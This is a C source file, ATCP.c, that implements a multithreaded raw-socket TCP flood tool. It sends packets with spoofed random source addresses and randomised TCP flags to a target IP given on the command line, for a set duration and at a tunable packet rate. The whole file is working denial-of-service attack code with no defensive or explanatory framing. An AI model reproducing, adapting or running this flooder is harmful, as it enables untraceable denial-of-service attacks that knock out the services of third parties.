ATCP.c

#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <pthread.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netdb.h>
#include <net/if.h>
#include <arpa/inet.h>

#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9
static unsigned long int Q[4096], c = 362436;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;

void init_rand(unsigned long int x) {
    int i;
    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;
    for (i = 3; i < 4096; i++) {
        Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
    }
}
unsigned long int rand_cmwc(void) {
    unsigned long long int t, a = 18782 LL;
    static unsigned long int i = 4095;
    unsigned long int x, r = 0xfffffffe;
    i = (i + 1) & 4095;
    t = a * Q[i] + c;
    c = (t >> 32);
    x = t + c;
    if (x < c) {
        x++;
        c++;
    }
    return (Q[i] = r - x);
}
unsigned short csum(unsigned short * buf, int count) {
    register unsigned long sum = 0;
    while (count > 1) {
        sum += * buf++;
        count -= 2;
    }
    if (count > 0) {
        sum += * (unsigned char * ) buf;
    }
    while (sum >> 16) {
        sum = (sum & 0xffff) + (sum >> 16);
    }
    return (unsigned short)(~sum);
}

unsigned short tcpcsum(struct iphdr * iph, struct tcphdr * tcph) {

    struct tcp_pseudo {
        unsigned long src_addr;
        unsigned long dst_addr;
        unsigned char zero;
        unsigned char proto;
        unsigned short length;
    }
    pseudohead;
    unsigned short total_len = iph -> tot_len;
    pseudohead.src_addr = iph -> saddr;
    pseudohead.dst_addr = iph -> daddr;
    pseudohead.zero = 0;
    pseudohead.proto = IPPROTO_TCP;
    pseudohead.length = htons(sizeof(struct tcphdr));
    int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
    unsigned short * tcp = malloc(totaltcp_len);
    memcpy((unsigned char * ) tcp, & pseudohead, sizeof(struct tcp_pseudo));
    memcpy((unsigned char * ) tcp + sizeof(struct tcp_pseudo), (unsigned char * ) tcph, sizeof(struct tcphdr));
    unsigned short output = csum(tcp, totaltcp_len);
    free(tcp);
    return output;
}
void setup_ip_header(struct iphdr * iph) {
    iph -> ihl = 5;
    iph -> version = 4;
    iph -> tos = 0;
    iph -> tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
    iph -> id = htonl(54321);
    iph -> frag_off = 0;
    iph -> ttl = MAXTTL;
    iph -> protocol = 6;
    iph -> check = 0;
    iph -> saddr = inet_addr("192.168.3.100");
}
void setup_tcp_header(struct tcphdr * tcph) {
    tcph -> source = htons(5678);
    tcph -> seq = rand();
    tcph -> ack_seq = rand();
    tcph -> res2 = rand();
    tcph -> doff = 5;
    tcph -> syn = rand();
    tcph -> fin = rand();
    tcph -> psh = rand();
    tcph -> ack = rand();
    tcph -> urg = rand();
    tcph -> rst = rand();
    tcph -> window = rand();
    tcph -> check = rand();
    tcph -> urg_ptr = rand();
}

void * flood(void * par1) {
    char * td = (char * ) par1;
    char datagram[MAX_PACKET_SIZE];
    struct iphdr * iph = (struct iphdr * ) datagram;
    struct tcphdr * tcph = (void * ) iph + sizeof(struct iphdr);
    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = rand();
    sin.sin_addr.s_addr = inet_addr(td);
    int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    if (s < 0) {
        fprintf(stderr, "Could not open raw socket.\n");
        exit(-1);
    }
    memset(datagram, 0, MAX_PACKET_SIZE);
    setup_ip_header(iph);
    setup_tcp_header(tcph);
    tcph -> dest = rand();
    iph -> daddr = sin.sin_addr.s_addr;
    iph -> check = csum((unsigned short * ) datagram, iph -> tot_len);
    int tmp = 1;
    const int * val = & tmp;
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) {
        fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
        exit(-1);
    }

    init_rand(time(NULL));
    register unsigned int i;
    i = 0;
    while (1) {
        sendto(s, datagram, iph -> tot_len, 0, (struct sockaddr * ) & sin, sizeof(sin));
        iph -> saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
        iph -> id = htonl(rand_cmwc() & 0xFFFFFFFF);
        iph -> check = csum((unsigned short * ) datagram, iph -> tot_len);
        tcph -> seq = rand_cmwc() & 0xFFFF;
        tcph -> source = htons(rand_cmwc() & 0xFFFF);
        tcph -> check = 0;
        tcph -> check = tcpcsum(iph, tcph);
        pps++;
        if (i >= limiter) {
            i = 0;
            usleep(sleeptime);
        }
        i++;
    }
}
int main(int argc, char * argv[]) {
    if (argc < 5) {
        fprintf(stderr, "Invalid parameters!\n");
        fprintf(stdout, "Usage: %s [IP] [threads] [limiter] [time]\n", argv[0]);
        exit(-1);
    }
    fprintf(stdout, "Opening threads...\n");
    int num_threads = atoi(argv[2]);
    int maxpps = atoi(argv[3]);
    limiter = 0;
    pps = 0;
    pthread_t thread[num_threads];
    int multiplier = 100;
    int i;
    for (i = 0; i < num_threads; i++) {
        pthread_create( & thread[i], NULL, & flood, (void * ) argv[1]);
    }
    fprintf(stdout, "Sending packets..\n");
    for (i = 0; i < (atoi(argv[4]) * multiplier); i++) {
        usleep((1000 / multiplier) * 1000);
        if ((pps * multiplier) > maxpps) {
            if (1 > limiter) {
                sleeptime += 100;
            } else {
                limiter--;
            }
        } else {
            limiter++;
            if (sleeptime > 25) {
                sleeptime -= 25;
            } else {
                sleeptime = 0;
            }
        }
        pps = 0;
    }
    return 0;
}